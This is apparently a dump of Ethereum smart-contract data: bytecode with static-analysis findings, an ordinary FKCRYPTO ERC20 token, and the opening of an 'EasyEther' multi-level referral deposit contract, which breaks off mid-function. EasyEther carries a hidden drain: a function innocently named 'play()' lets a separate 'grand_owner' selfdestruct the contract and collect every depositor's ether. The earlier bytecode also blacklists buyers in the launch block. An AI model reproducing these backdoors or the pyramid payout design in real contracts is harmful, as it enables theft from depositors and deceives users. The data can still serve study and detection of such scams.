f60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c490611a12565b600a811115610c4b5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031302560681b60448201526064016104c4565b600855565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016104c490611a12565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e381611388565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3057610d30611a47565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190611aa6565b81600181518110610dc057610dc0611a47565b6001600160a01b039283166020918202929092010152600b54610de69130911684610e62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1f908590600090869030904290600401611ac3565b600060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610f255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b6000811161105957600080fd5b6001600160a01b03831660009081526005602052604090205460ff161561107f57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110c157506001600160a01b03831660009081526004602052604090205460ff16155b80156110d75750600c54600160a81b900460ff16155b80156111075750600c546001600160a01b03858116911614806111075750600c546001600160a01b038481169116145b156112b857600c54600160b81b900460ff166111655760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b0385811691161480156111945750600b546001600160a01b03848116911614155b80156111a1575042600e54115b156111e85760006111b184610684565b90506111d160646111cb670de0b6b3a764000060036113d8565b90611457565b6111db8483611499565b11156111e657600080fd5b505b600d54421415611216576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061122130610684565b600c54909150600160b01b900460ff1615801561124c5750600c546001600160a01b03868116911614155b156112b65780156112b657600c54611280906064906111cb90600a9061127a906001600160a01b0316610684565b906113d8565b8111156112ad57600c546112aa906064906111cb90600a9061127a906001600160a01b0316610684565b90505b6112b681610ce8565b505b6112c4848484846114f8565b50505050565b600081848411156112ee5760405162461bcd60e51b81526004016104c491906117e1565b5060006112fb8486611b34565b95945050505050565b600060065482111561136b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b60006113756115fb565b90506113818382611457565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826113e7575060006104f7565b60006113f38385611b4b565b9050826114008583611b6a565b146113815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061138183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161e565b6000806114a68385611a8e565b9050838110156113815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806115065761150661164c565b60008060008061151587611668565b6001600160a01b038d166000908152600160205260409020549397509195509350915061154290856116af565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115719084611499565b6001600160a01b038916600090815260016020526040902055611593816116f1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115d891815260200190565b60405180910390a350505050806115f4576115f4600954600855565b5050505050565b600080600061160861173b565b90925090506116178282611457565b9250505090565b6000818361163f5760405162461bcd60e51b81526004016104c491906117e1565b5060006112fb8486611b6a565b60006008541161165b57600080fd5b6008805460095560009055565b60008060008060008061167d8760085461177b565b91509150600061168b6115fb565b905060008061169b8a85856117a8565b909b909a5094985092965092945050505050565b600061138183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ca565b60006116fb6115fb565b9050600061170983836113d8565b306000908152600160205260409020549091506117269082611499565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006117568282611457565b82101561177257505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061178e60646111cb87876113d8565b9050600061179c86836116af565b96919550909350505050565b600080806117b686856113d8565b905060006117c486866113d8565b905060006117d283836116af565b92989297509195505050505050565b600060208083528351808285015260005b8181101561180e578581018301518582016040015282016117f2565b81811115611820576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b803561185681611836565b919050565b6000806040838503121561186e57600080fd5b823561187981611836565b946020939093013593505050565b60008060006060848603121561189c57600080fd5b83356118a781611836565b925060208401356118b781611836565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118f157600080fd5b823567ffffffffffffffff8082111561190957600080fd5b818501915085601f83011261191d57600080fd5b81358181111561192f5761192f6118c8565b8060051b604051601f19603f83011681018181108582111715611954576119546118c8565b60405291825284820192508381018501918883111561197257600080fd5b938501935b82851015611997576119888561184b565b84529385019392850192611977565b98975050505050505050565b6000602082840312156119b557600080fd5b813561138181611836565b600080604083850312156119d357600080fd5b82356119de81611836565b915060208301356119ee81611836565b809150509250929050565b600060208284031215611a0b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a8757611a87611a5d565b5060010190565b60008219821115611aa157611aa1611a5d565b500190565b600060208284031215611ab857600080fd5b815161138181611836565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b135784516001600160a01b031683529383019391830191600101611aee565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b4657611b46611a5d565b500390565b6000816000190483118215151615611b6557611b65611a5d565b500290565b600082611b8757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d56e4657ff0be41b31cfe49da54dd6c2c5608d80e039bb321d31dc42540dea2a64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,254 |
0xb7a68f7b8621df64ea1b19215810266d27447a08
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'FKCRYPTO' token contract
//
// Symbol : FKC
// Name : FKCRYPTO
// Total supply: 500 000 000
// Decimals : 9
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract FKCRYPTO is BurnableToken {
string public constant name = "FKCRYPTO";
string public constant symbol = "FKC";
uint public constant decimals = 9;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 500000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600881526020017f464b43525950544f00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600981565b6009600a0a631dcd65000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f464b43000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122078a6c6842f2a8b03d2ae036b6be7c28efdf139c7cf9e0aeaa4e522272c0e530c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,255 |
0x7ea864ff6416df65d2bae325708e7aee17268727
|
/**
*Submitted for verification at Etherscan.io on 2020-09-09
*/
/*! EasyEther.sol | (c) 2020 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | SPDX-License-Identifier: MIT License */
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Destructible {
address payable public grand_owner;
event GrandOwnershipTransferred(address indexed previous_owner, address indexed new_owner);
constructor() public {
grand_owner = msg.sender;
}
function transferGrandOwnership(address payable _to) external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
grand_owner = _to;
}
function play() external {
require(msg.sender == grand_owner, "Access denied (only grand owner)");
selfdestruct(grand_owner);
}
}
contract EasyEther is Ownable, Destructible, Pausable {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
mapping(address => User) public users;
uint256[] public cycles; // ether
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor() public {
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(8);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(40);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
cycles.push(200 ether);
cycles.push(200 ether);
cycles.push(200 ether);
cycles.push(200 ether);
}
receive() payable external whenNotPaused {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner(), "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
